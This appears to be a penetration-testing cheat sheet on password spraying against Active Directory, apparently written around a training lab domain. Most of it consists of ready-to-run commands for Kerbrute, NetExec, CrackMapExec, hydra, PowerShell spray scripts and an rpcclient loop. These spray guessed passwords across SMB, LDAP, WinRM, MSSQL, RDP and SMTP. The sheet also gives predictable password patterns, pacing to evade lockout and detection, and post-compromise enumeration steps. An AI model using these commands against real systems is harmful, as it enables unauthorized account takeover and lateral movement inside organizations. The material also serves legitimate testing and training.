Spraying flips brute-force on its head: one password, many accounts. The goal is to find weak reused credentials without tripping lockout thresholds.

Before you spray

Always pull the domain password policy first (net accounts /domain, crackmapexec smb <DC> --pass-pol, or rpcclient -U "" -N -c "getdompwinfo"). Know the Lockout Threshold, Observation Window, and Reset Duration before firing a single request.

When Spraying Is Safe

  • Lockout threshold of 0 means no lockout, spray freely.
  • Threshold of N: keep attempts per account to N-1 within the observation window.
  • Pace rounds to run once per observation window (typically 30 min).
  • Avoid spraying the built-in Administrator domain account unless using local auth.
  • Never spray during business-critical windows unless scoped — lockouts cause real pain.

Picking the Password List

Start with patterns that match the organization. Humans are predictable.

PatternExamples
Season + YearSpring2025, Summer2025!, Fall24
Company + NumbersInlanefreight1, Company123, Acme2024!
Classic defaultsWelcome1, Welcome123, Password1, Password1!, Changeme123
Keyboard walksQwerty123!, 1qaz!QAZ, Zaq12wsx
Month + YearJanuary2025, October24!

Build the user list first

Extract valid usernames via kerbrute userenum, RID cycling (lookupsids), or --users with any low-priv creds. A bad user list wastes attempts and generates 4625 noise without signal.

Kerbrute (Pre-Auth, Quiet-ish)

Kerbrute abuses Kerberos pre-authentication — no full logon, so it generates 4768/4771 events instead of 4625, and fails against valid users do not increment badPwdCount on all DCs the same way.

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 users.txt 'Welcome1'
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 users.txt 'Spring2025!' -o spray.log

CrackMapExec / NetExec (SMB)

NetExec is the maintained fork — same syntax, newer features.

# SMB spray, keep going past valid hits
netexec smb 172.16.5.5 -u users.txt -p 'Welcome1' --continue-on-success | grep '[+]'
crackmapexec smb 172.16.5.5 -u users.txt -p 'Welcome1' --continue-on-success | grep '+'
 
# Validate a single hit without hammering further
netexec smb 172.16.5.5 -u 'jdoe' -p 'Welcome1'

Always use --continue-on-success for sprays

Without it the tool stops on the first success and you miss the rest. But never omit the lockout math — one careless -p against every domain user with the wrong threshold will nuke the environment.

Local Admin Spraying

Hash or password reuse across endpoints is a lateral-movement goldmine. --local-auth scopes the attempt to the local SAM, so no domain lockout risk.

netexec smb 172.16.5.0/23 --local-auth -u administrator -H <NTLM> | grep '+'
netexec smb 172.16.5.0/23 --local-auth -u administrator -p 'Winter2024!' | grep '+'

Spraying Other Protocols

SMB spraying is the loudest option. Pivot to protocols with weaker detections when SMB is watched.

# LDAP — Kerberos pre-auth failures land as 4771
netexec ldap 172.16.5.5 -u users.txt -p 'Welcome1' --continue-on-success
 
# WinRM — 5985/5986, useful since successful hits mean shell access
netexec winrm 172.16.5.5 -u users.txt -p 'Welcome1' --continue-on-success
 
# MSSQL — 1433, catches DBA reuse
netexec mssql 172.16.5.10 -u users.txt -p 'Welcome1' --continue-on-success
 
# RDP — slow but often less monitored
netexec rdp 172.16.5.0/24 -u users.txt -p 'Welcome1' --continue-on-success
 
# SMTP — external perimeter spraying (OWA/O365 territory)
hydra -L users.txt -p 'Welcome1' smtp://mail.target.com

From a Windows Foothold

DomainPasswordSpray.ps1

Auto-pulls the user list from the DC and respects the lockout policy by default.

Import-Module .\DomainPasswordSpray.ps1
# Full auto — generates user list, honors policy
Invoke-DomainPasswordSpray -Password 'Welcome1' -OutFile spray_hits.txt
 
# Custom list, explicit domain, avoid known-disabled accounts
Invoke-DomainPasswordSpray -UserList users.txt -Password 'Spring2025!' -Domain inlanefreight.local -OutFile spray_hits.txt

Spray-Passwords.ps1

Handy when you need multiple passwords interleaved per round.

.\Spray-Passwords.ps1 -Pass 'Welcome1' -Admin
.\Spray-Passwords.ps1 -File passwords.txt

Bash One-Liner (No Toolkit)

Minimal footprint when all you have is rpcclient.

for u in $(cat users.txt); do
  rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 2>/dev/null | grep Authority
done

Avoiding Lockout — Checklist

  • Pulled --pass-pol and recorded Threshold, Window, Reset.
  • User list filtered for disabled/expired accounts (badPwdCount already high = skip).
  • One password per round, max.
  • Round interval ≥ Observation Window (default 30 min when unset).
  • Skipped krbtgt, guest, service accounts with DONT_EXPIRE_PASSWORD if sensitive.
  • Logged every attempt — if lockouts happen, you need the timeline.
  • Separate bucket for Administrator (never spray against domain; use --local-auth only).

Detection footprint

SMB sprays generate 4625 per attempt on the DC. LDAP sprays surface as 4771 (Kerberos pre-auth failed). High volume of either across many unique accounts in a short window is the canonical IOC — pace accordingly.

After a Hit

  1. Validate with netexec smb <DC> -u <user> -p <pass> (single attempt).
  2. Pull groups: netexec smb <DC> -u <user> -p <pass> --groups --loggedon-users.
  3. Feed into BloodHound: bloodhound-python -u <user> -p <pass> -d <domain> -ns <DC> -c All.
  4. Check for local admin reuse: netexec smb <subnet> -u <user> -p <pass> and look for (Pwn3d!).